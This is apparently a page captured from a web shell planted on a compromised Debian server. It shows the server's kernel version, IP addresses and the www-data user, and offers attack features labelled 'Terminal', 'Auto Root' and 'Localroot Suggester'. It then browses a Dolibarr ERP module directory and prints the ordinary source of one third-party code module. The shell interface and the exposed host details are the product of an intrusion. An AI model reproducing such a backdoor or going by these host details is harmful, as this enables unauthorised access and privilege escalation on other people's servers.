Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
gf.bdcloud.fr /
core /
modules /
societe /
Delete
Unzip
Name
Size
Permission
Date
Action
doc
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
index.html
0
B
-rw-r--r--
2020-10-12 13:36
mod_codeclient_elephant.php
10
KB
-rw-r--r--
2020-10-12 13:36
mod_codeclient_leopard.php
3.6
KB
-rw-r--r--
2020-10-12 13:36
mod_codeclient_monkey.php
7.17
KB
-rw-r--r--
2020-10-12 13:36
mod_codecompta_aquarium.php
8.26
KB
-rw-r--r--
2020-10-12 13:36
mod_codecompta_digitaria.php
12.3
KB
-rw-r--r--
2020-10-12 13:36
mod_codecompta_panicum.php
2.84
KB
-rw-r--r--
2020-10-12 13:36
modules_societe.class.php
12.02
KB
-rw-r--r--
2020-10-12 13:36
Save
Rename
<?php /* Copyright (C) 2004 Rodolphe Quiedeville <rodolphe@quiedeville.org> * Copyright (C) 2006-2014 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ /** * \file htdocs/core/modules/societe/mod_codeclient_leopard.php * \ingroup societe * \brief Fichier de la classe des gestion leopard des codes clients */ require_once DOL_DOCUMENT_ROOT.'/core/modules/societe/modules_societe.class.php'; /** * Class to manage numbering of thirdparties code */ class mod_codeclient_leopard extends ModeleThirdPartyCode { /* * Attention ce module est utilise par defaut si aucun module n'a * ete definit dans la configuration * * Le fonctionnement de celui-ci doit donc rester le plus ouvert possible */ /** * @var string model name */ public $name = 'Leopard'; public $code_modifiable; // Code modifiable public $code_modifiable_invalide; // Code modifiable si il est invalide public $code_modifiable_null; // Code modifiables si il est null public $code_null; // Code facultatif /** * Dolibarr version of the loaded document * @var string */ public $version = 'dolibarr'; // 'development', 'experimental', 'dolibarr' /** * @var int Automatic numbering */ public $code_auto; /** * Constructor */ public function __construct() { $this->code_null = 1; $this->code_modifiable = 1; $this->code_modifiable_invalide = 1; $this->code_modifiable_null = 1; $this->code_auto = 0; } /** * Return description of module * * @param Translate $langs Object langs * @return string Description of module */ public function info($langs) { $langs->load("companies"); return $langs->trans("LeopardNumRefModelDesc"); } /** * Return an example of result returned by getNextValue * * @param societe $objsoc Object thirdparty * @param int $type Type of third party (1:customer, 2:supplier, -1:autodetect) * @return string Return next value */ public function getNextValue($objsoc = 0, $type = -1) { global $langs; return ''; } /** * Check validity of code according to its rules * * @param DoliDB $db Database handler * @param string $code Code to check/correct * @param Societe $soc Object third party * @param int $type 0 = customer/prospect , 1 = supplier * @return int 0 if OK * -1 ErrorBadCustomerCodeSyntax * -2 ErrorCustomerCodeRequired * -3 ErrorCustomerCodeAlreadyUsed * -4 ErrorPrefixRequired */ public function verif($db, &$code, $soc, $type) { global $conf; $result = 0; $code = trim($code); if (empty($code) && $this->code_null && empty($conf->global->MAIN_COMPANY_CODE_ALWAYS_REQUIRED)) { $result = 0; } elseif (empty($code) && (!$this->code_null || !empty($conf->global->MAIN_COMPANY_CODE_ALWAYS_REQUIRED))) { $result = -2; } dol_syslog(get_class($this)."::verif type=".$type." result=".$result); return $result; } }